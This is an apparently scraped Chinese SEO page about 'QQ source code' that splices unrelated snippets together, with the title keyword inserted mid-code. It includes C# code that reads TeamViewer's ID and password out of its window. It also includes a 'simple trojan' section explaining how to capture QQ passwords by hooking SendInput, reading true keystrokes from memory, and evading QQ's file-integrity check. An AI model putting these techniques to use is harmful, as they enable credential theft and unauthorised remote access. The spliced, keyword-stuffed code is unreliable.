qq说说id获取源码

热门资讯  点击:   2016-06-11

qq说说id获取源码篇一

(山寨版QQ)源代码

关于山寨QQ的java的源代码

Java是一种可以撰写跨平台应用软件的面向对象的程序设计语言,是由Sun Microsystems公司于1995年5月推出的Java程序设计语言和Java平台(即JavaSE, JavaEE, JavaME)的总称。Java 技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于个人PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网,同时拥有全球最大的开发者专业社群。在全球云计算和移动互联网的产业环境下,Java更具备了显著优势和广阔前景。

文库里没有关于山寨QQ的java的源代码,只能看了视频整理自己写了,特免费分享。

文档说明:根据java教学视频《韩顺平.循序渐进学.java.从入门到精通》(第87~94讲)整理得源相关代码。代码调试无误,下载后调试有误的可评论留言联系。image中图片附录在源代码后面。

工程文件夹:

(源代码)

qq说说id获取源码篇二

c#获取teamviewer ID密码源码

using System;

usingSystem.Collections.Generic;

usingSystem.ComponentModel;

usingSystem.Data;

usingSystem.Drawing;

usingSystem.Text;

usingSystem.Windows.Forms;

usingSystem.Runtime.InteropServices;

namespace WindowsFormsApplication1

{ publicpartialclassForm3 : Form

{

[DllImport("user32.dll", EntryPoint = "FindWindow", CharSet = CharSet.Auto)] privateexternstaticIntPtrFindWindow(stringclassname, stringcaptionName);

[DllImport("user32.dll", EntryPoint = "FindWindowEx", CharSet = CharSet.Auto)] privateexternstaticIntPtrFindWindowEx(IntPtr parent, IntPtr child, stringclassname, stringcaptionName);

//[DllImport("user32.dll")]

[DllImport("user32.dll", EntryPoint = "SendMessageA")]

privatestaticexternintSendMessage(IntPtrhwnd, intwMsg, intwParam, StringBuilderlParam); //public static extern intSendMessage(IntPtrhwnd, intwMsg, IntPtrwParam, IntPtrlParam); //static extern IntPtrSendMessage(IntPtrhWnd, UInt32 Msg, IntPtrwParam,

[MarshalAs(UnmanagedType.LPStr)] string lParam);

public Form3()

{ InitializeComponent();

}

constint WM_GETTEXT = 0x0D;

privatevoid button1_Click(object sender, EventArgs e)

{

IntPtr main = FindWindow("#32770", "TeamViewer");

listBox1.Items.Add(main.ToString());

IntPtr Child = FindWindowEx(main, IntPtr.Zero, null, string.Empty);

listBox1.Items.Add(Child.ToString());

Child = FindWindowEx(main, Child, null, string.Empty);

listBox1.Items.Add(Child.ToString());

IntPtr box1 = FindWindowEx(Child, IntPtr.Zero, "ATL:0216AA20", null);

listBox1.Items.Add(box1.ToString());

constintbuff_sizi = 20;

StringBuilder buffer1 = newStringBuilder(buff_sizi);

StringBuilder buffer2 = newStringBuilder(buff_sizi);

SendMessage(box1, WM_GETTEXT, buff_sizi, buffer1);

listBox1.Items.Add(buffer1.ToString());

IntPtr box2 = FindWindowEx(Child, box1, "ATL:0216AA20", null);

listBox1.Items.Add(box2.ToString());

SendMessage(box2, WM_GETTEXT, buff_sizi, buffer2);

listBox1.Items.Add(buffer2.ToString());

}{qq说说id获取源码}.

} }

qq说说id获取源码篇三

一个简单木马的源代码

代码没给大家 讲解,不知道看懂没。

所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩

SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上 真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,

if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)

判断是否是键盘按下,如果是按下,我们就开始记录。

DWORD nRetAddress=0;

{qq说说id获取源码}.

_asm

{

mov eax,0

mov ax,[ebp+4]

mov nRetAddress,eax

}

if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)

这就是取得是什么地方在调用SendInput.

char key=0;

_asm{qq说说id获取源码}.

{

mov ebx,0x12faa0

mov eax,0

mov al,[ebx]

mov key,al

}

获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。

有人会问为什么我 的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll中有一个固定地址 通过[ebp+c]之后也可以获取到 键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把 WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在 WH_KEYBOARD_LL上下段,然后往上跟就会看到了。只是这样挂钩

USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。其他的我就不多说,有兴趣的朋友,在分析把!

代码在后面,我会陆续全部贴上

代码:

木马dll函数的 main.cpp文件的代码

代码:

qq说说id获取源码篇四

QQ微博JS源码

MI.Base={};function jubao(k,f){jubao.wrap||(jubao.wrap=UI.html('<div style="width:530px;height:400px;overflow:hidden;border:solid #FFF;border-width:5px 0 10px"><iframe src="about:blank" frameborder="0" scrolling="no" onload="MI.dialog.hideLoad()"></iframe></div>')[0]);jubao.oIFrame||(jubao.oIFrame=jubao.wrap.firstChild,jubao.oIFrame.style.cssText="width:538px;height:430px;background:#FFF;margin:-28px 0 0 -5px;-margin-top:-32px;border-style:none");var j="class="DmainTit">'+(f&&2==f?_("腾讯申诉平台"):_("腾讯举报平台"))+"</h3>",width:562,html:jubao.wrap,start:function(){MI.Bos("btnReportAll")},end:function(){jubao.oIFrame.src="about:blank"},closeEnd:function(){MI.Bos("btnCloseReport")}});MI.dialog.showLoad();jubao.oIFrame.src=j}function jubao_onClose(){MI.dialog.hide()}function jubao_msg(k){jubao("appname=micoblog&subapp=web&jubaotype=msg&tw_msg_id="+k+"&tw_name=&tw_vip=&envname=web")}function{qq说说id获取源码}.

jubao_pm(k){jubao("appname=micoblog&subapp=pm&jubaotype=msg&tw_msg_id="+k+"&tw_name=&envname=web")}function

jubao_user(k){jubao("appname=micoblog&subapp=web&jubaotype=uin&tw_pic_url=&tw_name="+k+"&tw_vip=&envname=web")}function

jubao_qun_msg(k,f,j){jubao("appname=micoblog&subapp=weiqun&jubaotype=msg&tw_msg_id="+k+"&tw_name=&tw_vip=&envname=web&groupid="+f+"&zone="+(j?j:1))}function

jubao_url(k,f,j,H){j=encodeURIComponent(j);1==H?jubao("appname=micoblog&subapp=web&jubaotype=url&tw_msg_id="+k+"&tw_name="+f+"&url="+j):2==H&&jubao("appname=appeal&subapp=micoblog_web&jubaotype=url&tw_name="+f+"&langcode=0&encoding=2&url="+j,H)}function

jubao_notice(k){jubao("appname=micoblog&subapp=app_notice&jubaotype=msg&tw_msg_id="+k+"&tw_name=")}MIIco=[];MIIcoHtml=[];function MIIcon(k){return"<%for(var k=0,num=MIIco.length;k<num;k++){if("+k+"[MIIco[k]]){%><%=MIIcoHtml[k]%><%;}}%>"}(function(){var

k=UI.G,f=UI.GC;if(!window.MIApp||window.MIApp.lib)window.$=UI.G,window.$$=UI.GC;MI.tmpl.msg=['<%for(var i=0,n=talk.length;i<n;i++){%><li id="<%=talk[i].id%>" rel="<%=talk[i].timestamp%>">\t<div class="msgBox"><div class="userName">',_("发给"),' <a href="

title="<%=talk[i].bkname||talk[i].nick%>(@<%=talk[i].chName || talk[i].name%>)"><%=talk[i].bkname||talk[i].nick%></a>',MIIcon("talk[i].flag"),'</div><div class="msgCnt"><%=talk[i].content%></div><div class="pubTime"><span class="time"><%=talk[i].time%></span> <%=talk[i].from%></div><p class="btnBox"><a href="#" class="replyMsg btn" rel="<%=talk[i].chName || talk[i].name%>">',_("再写一封"),'</a><a class="btn delBtn" href="#">',_("删除"),"</a></p></div></li><%}%>"].join("");MI.tmpl.msgIn=['<%for(var

i=0,n=talk.length;i<n;i++){%><li id="<%=talk[i].id%>" rel="<%=talk[i].timestamp%>">\t<div class="userPic"><a href="title="<%=talk[i].bkname||talk[i].nick%>(@<%=talk[i].chName || talk[i].name%>)"><img src="<%=talk[i].pic%>"></a></div>\t<div class="msgBox"><div class="userName"><strong><a href="

title="<%=talk[i].bkname||talk[i].nick%>(@<%=talk[i].chName || talk[i].name%>)"><%=talk[i].bkname||talk[i].nick%></a>',MIIcon("talk[i].flag"),':</strong></div><div class="msgCnt"><%=talk[i].content%></div><div class="pubTime"><span class="time"><%=talk[i].time%></span> <%=talk[i].from%></div><p class="btnBox"><a href="#" class="replyMsg btn" rel="<%=talk[i].chName || talk[i].name%>">',_("回信"),'</a><a class="btn delBtn" href="#">',_("删除"),"</a></p></div></li><%}%>"].join("");MI.tmpl.fullMediaTalk='<div class="talkWrap bgr3"><div class="sendCnt"><div class="cont bgr"><textarea class="inputTxt c_tx2"></textarea></div><div class="bot clear"><div class="sendStatus"></div><div class="insertFun"><div class="sendList insertFace"><a title="表情" href="#" class="txt"><em class="sico ico_face"></em></a></div><div class="sendList uploadPic"><a href="#" class="txt sendPic" tabindex="3"><em class="sico ico_pic"></em>图片</a></div><div class="sendList uploadMusic"><a tabindex="3" title="可按歌名、歌手名搜索并添加音乐" href="#" class="txt"><em class="sico ico_audio"></em>音乐</a></div><div class="sendList record"><a title="可录下你的语音" href="#" class="txt"><em class="sico ico_record"></em>录音</a></div><div class="sendList uploadVideo"><a href="#" class="txt" title="QQvideo、优酷、土豆、酷六、CNTV可直接播放,也可自己上传" tabindex="3"><em class="sico ico_videos"></em>视频</a></div><div class="sendList atSome"><a title="@朋友帐号就可以提到他" href="#" class="txt"><em class="sico ico_at"></em>朋友</a></div></div><div class="left"></div><input type="button" value="" class="inputBtn sendBtn"><span class="countTxt c_tx5"></span></div></div></div>';MI.tmpl.msgBox=['<div class="oldMsgBox"><table border="0" cellspacing="0" cellpadding="0" class="letterBg"><tr><th>',_("收信人"),'</th><td><div class="txtWrap"><input type="text" name="userName" id="userName" class="msgTo inputTxt" value=""/> <span class="cNote">',_("请输入你的听众的微博帐号"),"</span></div></td></tr><tr><th>",_("内 容"),"</th><td>",MI.tmpl.fullMediaTalk,"</td></tr></table></div>"].join("");MI.tmpl.note=['<%for(var i=0,n=talk.length;i<n;i++){%><li id="<%=talk[i].id%>" rel="<%=talk[i].timestamp%>">\t<div class="msgBox"><div class="msgCnt"><%=talk[i].content%></div><div class="pubTime"><span class="time"><%=talk[i].time%></span></div><p class="btnBox"><a href="#" class="replyMsg btn">',_("修改"),'</a><a href="#" class="btn delBtn">',_("删除"),"</a></p>\t</div></li><%}%>"].join("");MI.tmpl.black=['<div class="confirm_larger_box clear"><div class="ui_ico_b"><i class="ui_warnico"></i></div><div class="cnt"><h3 class="tit">',_("确定将{0}拉入黑名单?","<%=sex%>"),'</h3><div class="content"><span class="info_tx">',_("拉黑之后"),"...<br/>",_("你们之间的收听关系将被解除,对方无法再收听你,而且你也不再收到来自{0}的任何消息与通知","<%=sex%>"),'</span></div><div class="opt"><label class="gb_btn gb_btn1"><input type="button" class="t" value="',_("确定"),'" /></label><label class="gb_btn gb_btn5"><input type="button" class="t" value="',_("取消"),'" onclick="MI.dialog.hide()"/></label></div</div></div>'].join("");MI.tmpl.unblack=['<div

class="confirm_larger_box clear"><div class="ui_ico_b"><i class="ui_warnico"></i></div><div class="cnt"><h3 class="tit">',_("你真的原谅{0}了吗?","<%=sex%>"),'</h3><div class="content"><span class="info_tx">',_("取消之后"),"...<br/>",_("你会重新收到来自{0}的私信和其它通知","<%=sex%>"),'</span></div><div class="opt"><label class="gb_btn gb_btn1"><input type="button" class="t" value="',_("确定"),'" /></label><label class="gb_btn

gb_btn5"><input type="button" class="t" value="',_("取消"),'" onclick="MI.dialog.hide()"/></label></div</div></div>'].join("");MI.tmpl.card=['<div class="uc uc_hand_down"><div class="uc_in clear">\t<div class="uc_loading"><i class="loading"></i>',_("资料卡加载中..."),'</div>\t<div class="uc_c1 clear"><div class="uc_c1_l"> <a class="avatar" href="#"><img></a> </div><div class="uc_c1_r">\t<h2 class="tit"></h2>\t<p class="info"></p>\t<p class="stats"></p></div>\t</div>\t<div class="uc_c2 clear"><div class="uc_c2_l">\t<label class="gb_btn gb_btn3"><i class="icon icon_fo2"></i><input type="button" value="',_("收听"),'" class="t uc_follow">\t</label>\t<span class="gb_foed gb_fo1"><i class="icon icon_sfo"></i><span class="t uc_unfollow delAttention">',_("已收听"),',<a href="#" class="t">',_("取消"),'</a></span></span>\t<span class="gb_foed gb_fo1"><i class="icon icon_bfo"></i><span class="t uc_uneach delAttention">',_("已互听"),',<a href="#" class="t">',_("取消"),'</a></span></span></div><div class="uc_c2_r">\t<ul class="bt_gp1 bt_gp1_x1 clear"><li class="bt_gp_c bt_gp_c_sfo"><a href="#" class="ico_sFo" title="',_("添加到特别收听"),'"></a></li><li class="bt_gp_c first"><a class="reply gb_btn gb_btn5" href="#"><span class="t"></span></a></li><li class="bt_gp_c"><a class="msg gb_btn gb_btn5" href="#"><span class="t">',_("私信"),'</span></a></li><li class="more bt_gp_c last"><a class="gb_btn gb_btn5" href="#"><span class="t">',_("更多"),'</span><b class="arrow"></b></a><div class="ui_drop ui_drop_ucopt_more" style="width:54px;">\t<div class="ui_drop_in"><div class="ui_drop_body">\t<div class="ui_drop_lst">'+(MI.user.fun.apolloStyle?'<div><a href="#" class="addQuan">'+_("加微圈")+"</a></div>":"")+'<div><a href="#" class="note">',_("备注"),"</a></div>"+(MI.user.fun.apolloStyle?"":'<div><a href="#" class="list">'+_("名单")+"</a></div>")+'<div><a href="#" class="addqq">',_("加QQ"),'</a></div><div><a href="#" class="reFollow">',_("求收听"),'</a></div><div><a href="#" class="recom">',_("推荐"),'</a></div><div><a href="#" class="black">',_("拉黑"),'</a></div><div><a href="#" class="report">',_("举报"),'</a></div>\t</div></div>\t</div>\t</div></li>\t</ul></div><div class="status_black"></div>\t</div>\t<div class="uc_c3 clear"><p class="info"></p>\t</div>\t<b class="caret_out"></b> <b class="caret_in"></b> </div>\t</div>'].join("");MI.tmpl.code=['<div class="verify"><span class="ico_tsW"><span class="ico_te"></span></span><h3></h3><div class="clear"><form><div class="left">',_("验证码:"),'</div><div class="verifyInput"><input type="text" class="inputTxt" /><div class="cNote">',_("输入下图中的字符,不区分大小写"),'</div><img width="130" height="53">&nbsp;<a href="#" class="codeChange">',_("看不清,换一张"),'</a></div></div><div class="btnBox"><button type="submit" class="btn2">',_("确定"),'</button><button type="button" class="btn2">',_("取消"),"</button></form></div></div>"].join("");MI.tmpl.know=['<div class="tjRelaWrap"><div class="title"><div class="left">'+_("可能认识的人"),'<a class="cSign" style="display:none"></a><a class="change" href="#">['+_("换一换")+']</a><a href="target="_blank">['+_("全部"),']</a></div><div class="right"><a href="#" class="closebtn">'+_("关闭"),'</a></div></div><ul class="tjRelaList clear addFollowSourceType" sourceType="11"><ul></div>'].join("");MI.loadPM=function(a){var b=MI.version.Message,c=MI.version.message;window.PMCMarkTime=+new

Date;if(window.PM)a&&a();else{UI.getCss(c);var e=0;setTimeout(function(){if(!e){var a=MI.Uin(),b="&="+Math.random(),c=window.g_pmcompose_btrace=new{qq说说id获取源码}.

Image,m=window.g_pmcompose_invest=new{qq说说id获取源码}.

Image;c.onload=c.onerror=function(){window.g_pmcompose_btrace=null};m.onload=m.onerror=function(){window.g_pmcompose_invest=null};m.src="

d={type:"compose",to:a,from:b,bostype:e,content:c},g=0;MI.dialog.show({width:570,html:'<div style="width:508px;height:169px;text-align:center;line-height:12;"><img style="margin:0 5px -3px;" src="

d,g={iFlow:0,iFrom:"",iPubFrom:"",sUrl:"",iUrlType:"",iPos:"",sText:"",iBak1:"",iBak2:"",sBak1:"",sBak2:"",sRef:"",sAppid:MI.TalkBox.prototype.source,iApiType:MI.api.type},i=UI.parseUrl(),i=i.pgv_ref||i.pref||i.ref||"",m="";if(UI.isObject(a)){d=1;MI.BosCall&&MI.BosCall(a);a.iUrlType=MI.boss||"";a.sUrl=document.location.host+document.location.pathname+encodeURIComponent(document.location.hash||"");a.sRef=i;for(var f in g)if(UI.isNumber(a[f])||UI.isString(a[f]))g[f]=a[f].toString().replace(/[\t\n\r&]/g,"");c=a.random;e=a.id;m=a.sBiz;a=a.name}if(a.hasString("http"))MI.Bos.boss(a);else

if(!(c&&Math.random()>c))try{var x=MI.Uin(),h=c="",q;e||(e=MI.api.boss||214);if(d)for(f in g)c+="&"+f+"="+(1210!=e?encodeURI(g[f]):g[f]);else{b=b||MI.boss;q={iFlow:0,sServerIp:"",iBackInt1:"",iBackInt2:"",sBackStr1:""};MI.api.type&&(q.iBackInt2=MI.api.type);if(UI.isNumber(b))q.iBackInt1=b;else if(UI.isString(b))q.sBackStr1=b;else if(UI.isObject(b))for(f in b)UI.isUndefined(b[f])||(q[f]=b[f]);MI.BosCall&&MI.BosCall(q);for(f in q)c+="&"+f+"="+q[f]}h="

Image).src=["c(a){var b=[],b=a.split(",");return b.length}function e(a,b){for(var c in a)"object"==typeof a[c]?(b[c]={},e(a[c],b[c])):b[c]=a[c]}a.sBak1?a.iFlow=c(a.sBak1):a.sBak2&&(a.iFlow=c(a.sBak2));a.iPubFrom=MI.api.type?MI.api.type:0;var d;d=b?b:(new Date).getTime();if(20<a.iFlow){a.iBak2=d;var g=[],i=[],m,f;m={};f={};e(a,m);e(a,f);var x="";a.sBak1?x=a.sBak1:a.sBak2&&(x=a.sBak2);for(var

h=[],h=x.split(","),x=0;20>x;x++)g.push(h[x]);for(x=20;x<a.iFlow;x++)i.push(h[x]);a.sBak1?(m.sBak1=g.join(","),f.sBak1=i.join(",")):a.sBak2&&(m.sBak2=g.join(","),f.sBak2=i.join(","));m.iFlow=20;f.iFlow=a.iFlow-20;MI.Bos(m);MI.feedBack(f,d)}else

MI.Bos(a)};UI.linkEvent.add("MI.TalkList.talkSuccess",function(a){""!=UI.A(a.target,"tv")&&(MI.adStat?MI.adStat.talkListInf(a.target,a.type):MI.app({"t/mi.Cash":function(){MI.adStat.talkListInf(a.target,a.type)}}))});UI.linkEvent.add("MI.TalkList.event",function(a){var

b=a.target;""!=UI.A(b,"tv")&&(MI.adStat?MI.adStat.showInf(b):MI.app({"t/mi.Cash":function(){MI.adStat.showInf(b)}}))});UI.linkEvent.add("MI.TalkList.talkRemove",function(a){var

b=a.target,c=parseInt(a.type);""!=UI.A(b,"tv")&&(MI.adStat?MI.adStat.talkRemoveInf(b,c):MI.app({"t/mi.Cash":function(){MI.adStat.talkRemoveInf(b,c)}}))});UI.linkEvent.add("MI.TalkList.video",function(a){var

b=a.target,a=UI.parents(b,"replyBox"),b=UI.parents(b,"msgBox"),c=a.length&&a[0].parentNode.parentNode||b[0].parentNode;""!=UI.A(c,"tv")&&(MI.adStat?MI.adStat.clickInf(c,"openvideo"):MI.app({"t/mi.Cash":function(){MI.adStat.clickInf(c,"openvideo")}}))});UI.linkEvent.add("MI.TalkList.like",function(a){var

b=a.target,c=a.isLike;b&&""!=UI.A(b,"tv")&&(MI.adStat?MI.adStat.talkListInf(b,c?"like":"unlike"):MI.app({"t/mi.Cash":function(){MI.adStat.talkListInf(b,c?"like":"unlike")}}))});UI.linkEvent.add("MI.TalkList.adClick",function(a){var

b=a.target,c=a.el;c&&""!=UI.A(c,"tv")&&(MI.adStat?MI.adStat.adClickInf(b,c):MI.app({"t/mi.Cash":function(){MI.adStat.adClickInf(b,c)}}))});MI.Bos.boss=function(a){var

b=MI.Bos.pic[MI.Bos.index];MI.Bos.index++;10==MI.Bos.index&&(MI.Bos.index=0);b.src=a};MI.Bos.pic=[];for(var j=MI.Bos.index=0;10>j;j++)MI.Bos.pic.push(new Image),MI.Speed.pic.push(new

Image);MI.changeLang=function(a){a=UI.E(a).target;a=UI.A(a,"data-flag");MI.ajax({url:MI.url.myViewSettingSave,type:"post",async:!1,data:{lang:a},success:function(a){a=MI.json(a);0==a.result&&location.reload()}})};MI.addHover=function(a,b){var

c,e,b=b||"hover";a&&(a.onmouseover=function(){var

a=this;clearTimeout(e);c=setTimeout(function(){UI.B.ie6&&UI.addClass(a,b)},20)},a.onmouseout=function(){var

a=this;clearTimeout(c);e=setTimeout(function(){UI.removeClass(a,b);UI.removeClass(a,"newMsg bg4 bor_bg5")},20)})};MI.goHome=function(a){document.location.href="

b&&b()}})};MI.sidePanelUrlProfile=function(a){MI.app({Wide:function(){MI.sidePanel.urlProfile&&MI.sidePanel.urlProfile(a)}})};MI.alert=function(a,b){a&&MI.dialog.alert(a,b)};MI.tip=function(a,b){a&&MI.dialog.showTip({html:a,end:b})};MI.reply=function(a,b,c,e,d){MI.card.addEvent();MI.card.chName=a;MI.card.bkname=MI.card.name=b;MI.card._reply.onclick();a=MI.card.reply.talkBox;a._txt.value=c||"";e=e||"";a.data?a.data.pgv_ref=e:a.data={pref:e};if(d)for(var g in d)a[g]=d[g]};MI.talk=function(a,b,c,e,d,g,i){MI.talk.reply||(MI.talk.reply=new MI.Reply);var m=MI.talk.reply.talkBox;m.data=i||{};m.delMedia&&m.delMedia();if(e&&(m.addMusic(e),e.vid&&(m.vid=e.vid,m.successStart=function(){MI.confirm({type:"success",title:"发布提示",content:e.msg,confirmTxt:"确定",confirm:function(){MI.dialog.hide()},cancelTxt:"取消",cancel:function(){}})}),e.video&&(m._video="浮层视频",m.getVideo(e.video)),e.pic&&(m.addPic({result:0,info:{image:e.pic,fileName:_("图片.jpg")}}),m.sourcePic=e.pic),e.source&&(m.source=e.source),e.picTabs))UI.show(f(m._body,".uploadPic")[0]),m.showPicTabs=e.picTabs;MI.talk.reply.show({title:a||"",cont:b||"",height:c||40,syncQzone:g||0,success:d})};MI.chat=function(a,b,c){MI.app({WebQQ:function(){MI.WebQQ.load

相关文章
推荐内容
上一篇:QQ说说生日祝福
下一篇:三农申论范文
Copyright 学习网 版权所有 All Rights Reserved